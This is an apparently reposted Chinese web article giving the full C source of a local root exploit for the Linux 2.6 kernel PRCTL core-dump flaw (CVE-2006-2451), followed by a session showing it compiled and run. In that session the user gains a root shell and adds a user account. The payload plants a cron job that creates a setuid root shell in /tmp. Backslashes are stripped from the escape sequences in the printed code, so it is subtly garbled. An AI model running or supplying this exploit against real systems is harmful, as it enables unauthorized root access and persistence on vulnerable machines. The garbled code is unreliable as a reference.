Linux Kernel 2.6x 本地溢出代码 今天测试了一下，效果不错

/*****************************************************/  
/* Local r00t Exploit for:                           */  
/* Linux Kernel PRCTL Core Dump Handling             */  
/* ( BID 18874 / CVE-2006-2451 )                     */  
/* Kernel 2.6.x  (>= 2.6.13 && < 2.6.17.4)           */  
/* By:                                               */  
/* - dreyer    <luna@aditel.org>   (main PoC code)   */  
/* - RoMaNSoFt <roman@rs-labs.com> (local root code) */  
/*                                  [ 10.Jul.2006 ]  */  
/*****************************************************/  
 
#include <stdio.h> 
#include <sys/time.h> 
#include <sys/resource.h> 
#include <unistd.h> 
#include <linux/prctl.h> 
#include <stdlib.h> 
#include <sys/types.h> 
#include <signal.h> 
 
char *payload="nSHELL=/bin/shnPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/binn* * * * *   root   cp /bin/sh /tmp/sh ; chown root /tmp/sh ; chmod 4755 /tmp/sh ; rm -f /etc/cron.d/coren";  
 
int main() {   
    int child;  
    struct rlimit corelimit;  
    printf("Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00tn");  
    printf("By: dreyer & RoMaNSoFtn");  
    printf("[ 10.Jul.2006 ]nn");  
 
    corelimit.rlim_cur = RLIM_INFINITY;  
    corelimit.rlim_max = RLIM_INFINITY;  
    setrlimit(RLIMIT_CORE, &corelimit);  
 
    printf("[*] Creating Cron entryn");  
 
    if ( !( child = fork() )) {  
        chdir("/etc/cron.d");  
        prctl(PR_SET_DUMPABLE, 2);  
        sleep(200);  
        exit(1);  
    }  
 
    kill(child, SIGSEGV);  
 
    printf("[*] Sleeping for aprox. one minute (** please wait **)n");  
    sleep(62);  
 
    printf("[*] Running shell (remember to remove /tmp/sh when finished) n");  
    system("/tmp/sh -p");  
}   
 

运行测试：

[fred@fedora ~]$ uname -a
Linux fedora 2.6.15-1.2054_FC5 #1 Tue Mar 14 15:48:33 EST 2006 i686 i686 i386 GNU/Linux
[fred@fedora ~]$ id
uid=500(fred) gid=500(fred) groups=500(fred)
[fred@fedora ~]$ ls
amsn_received Desktop linux.bin pics rs_prctl_kernel.c vmware
[fred@fedora ~]$ gcc -o rs_prctl_kernel rs_prctl_kernel.c
[fred@fedora ~]$ ls
amsn_received Desktop linux.bin pics rs_prctl_kernel rs_prctl_kernel.c vmware
[fred@fedora ~]$ ./rs_prctl_kernel
Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t
By: dreyer & RoMaNSoFt
[ 10.Jul.2006 ]

Creating Cron entry

Sleeping for aprox. one minute (** please wait **)

Running shell (remember to remove /tmp/sh when finished) ...
sh-3.1# whoami
root
sh-3.1# id
uid=500(fred) gid=500(fred) euid=0(root) groups=500(fred)
sh-3.1# /usr/sbin/useradd test
sh-3.1# exit
exit

凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务，公司网站：http://www.lingzhong.cn 为了给广大客户了解更多的技术信息，本技术文章收集来源于网络,凌众科技尊重文章作者的版权，如果有涉及你的版权有必要删除你的文章，请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息，谢谢!